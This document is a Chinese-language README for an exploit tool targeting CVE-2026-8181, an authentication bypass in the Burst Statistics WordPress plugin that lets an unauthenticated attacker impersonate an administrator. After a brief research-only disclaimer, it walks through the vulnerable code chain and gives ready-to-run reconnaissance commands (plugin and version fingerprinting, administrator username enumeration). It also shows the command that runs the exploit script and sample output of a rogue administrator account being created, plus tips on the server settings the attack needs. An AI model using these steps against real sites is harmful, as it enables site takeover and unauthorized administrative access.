CVE-2026-8181 的利用代码,由 Chloe Chamberland 和 PRISM 发现。
本仓库仅供研究和防御性安全目的使用。 作者对滥用此信息不承担任何责任。
用于 WordPress 的 Burst Statistics – Privacy-Friendly WordPress Analytics 插件在版本 3.4.0 至 3.4.1.1 中存在一个身份验证绕过漏洞,可导致管理员权限提升。
该漏洞存在于插件 MainWP 代理的 is_mainwp_authenticated() 方法中,该方法错误地将 wp_authenticate_application_password() 返回的任何非 WP_Error 值视为成功验证。
这使得知道有效管理员用户名的未认证攻击者能够在任何 REST API 请求期间冒充该管理员,包括 WordPress 核心端点,例如 POST /wp-json/wp/v2/users。现有管理员的凭据不会被泄露,但攻击者可以获得其权限,足以创建一个全新的管理员账户。
漏洞链如下:
includes/class-burst.php:41 -> 插件在 plugins_loaded 优先级 9 上注册了 init(),它运行 bootstrap() 并为每个请求(包括 REST)调用 has_admin_access()。
includes/Traits/trait-admin-helper.php:202 -> 当请求携带标头 X-BurstMainWP: 1 时,has_admin_access() 实例化 MainWP_Proxy 并将身份验证委托给 is_mainwp_authenticated()。
includes/Frontend/class-mainwp-proxy.php:314 -> 该方法读取 Authorization 标头,解码 Basic 凭据,并将攻击者提供的 username / password 转发给 WordPress 核心的 wp_authenticate_application_password()。
includes/Frontend/class-mainwp-proxy.php:328-329 -> 返回值仅通过 is_wp_error() 进行检查。当未使用应用程序密码或请求未被标记为 API 请求时,WordPress 核心返回未经修改的 $input_user(此处为 null)。在 plugins_loaded 优先级 9 时,REST API 尚未将 application_password_is_api_request 过滤器设置为 true,因此当易受攻击的代码运行时,第二个条件始终满足——而 null 不是 WP_Error,因此检查通过。
includes/Frontend/class-mainwp-proxy.php:336 -> 调用 wp_set_current_user( $user->ID ),传入的用户完全根据攻击者提供的用户名查找,从而为整个请求设置全局认证用户。
因此,一个带有虚假密码的单一 HTTP 请求就足以在 WordPress 核心 REST API 层面冒充任何管理员。
活动插件 — 仅当插件被排队时,首页 HTML 才会引用其资源:
echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
版本 — readme.txt 以静态方式提供,并暴露了已安装版本(受影响:3.4.0–3.4.1.1,已修复:3.4.2+):
echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
附带的 CVE-2026-8181.yaml nuclei 模板可自动化两种检查和版本比较:
nuclei -t CVE-2026-8181.yaml -u http://127.0.0.1:8000
一旦检测到插件存在漏洞版本,利用需要知道一个有效的管理员用户名。WordPress 的 REST API 在大多数安装中通过公开用户端点泄露这些信息:
echo http://127.0.0.1:8000 | httpx -silent -path '/wp-json/wp/v2/users' -er '"slug":"[^"]+"'
当该端点被锁定(例如通过 Disable REST API 或 Stop User Enumeration),作者归档技巧(/?author=N)通常仍会通过重定向到 /author/<username>/ 泄漏用户名。
有了有效的用户名,该利用工具在单个请求中创建一个新的管理员账户:
安装 Python 依赖:
python3 -m venv venv
venv/bin/pip install -r requirements.txt
对目标运行利用工具,使用 -u 提供已知的管理员用户名:
venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
输出示例:
[2026-05-16] [12:20:20] [info] [config] Impersonating admin='admin', will create new admin 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' ([email protected]).
[2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] Authentication bypass successful — new administrator created: username='pwn_322a4903' password='kS8D^2A^P^%UtWyuUS3p8%64'
使用新创建的管理员账户登录 /wp-admin/。
只有当 Authorization 标头通过 $_SERVER['HTTP_AUTHORIZATION'] 到达 PHP 时,绕过才会触发。在 Apache + mod_php 且使用普通永久链接(WordPress 的默认设置)的情况下,不会生成 .htaccess,标头会被静默剥离——利用无法成功。
在 设置 → 固定链接 中切换到任何非普通永久链接会使 WordPress 5.6+ 将 RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] 指令写入 .htaccess,恢复转发。Nginx + PHP-FPM 和 LiteSpeed 默认转发 Authorization 标头,无论永久链接设置如何。漂亮的永久链接是生产环境中的 SEO 标准,这就是此漏洞被评为 CVSS 9.8 未认证 的原因。
利用工具首先尝试 /wp-json/wp/v2/users,然后回退到 /index.php?rest_route=/wp/v2/users,因此端点路由永远不会成为障碍——只有标头转发才是。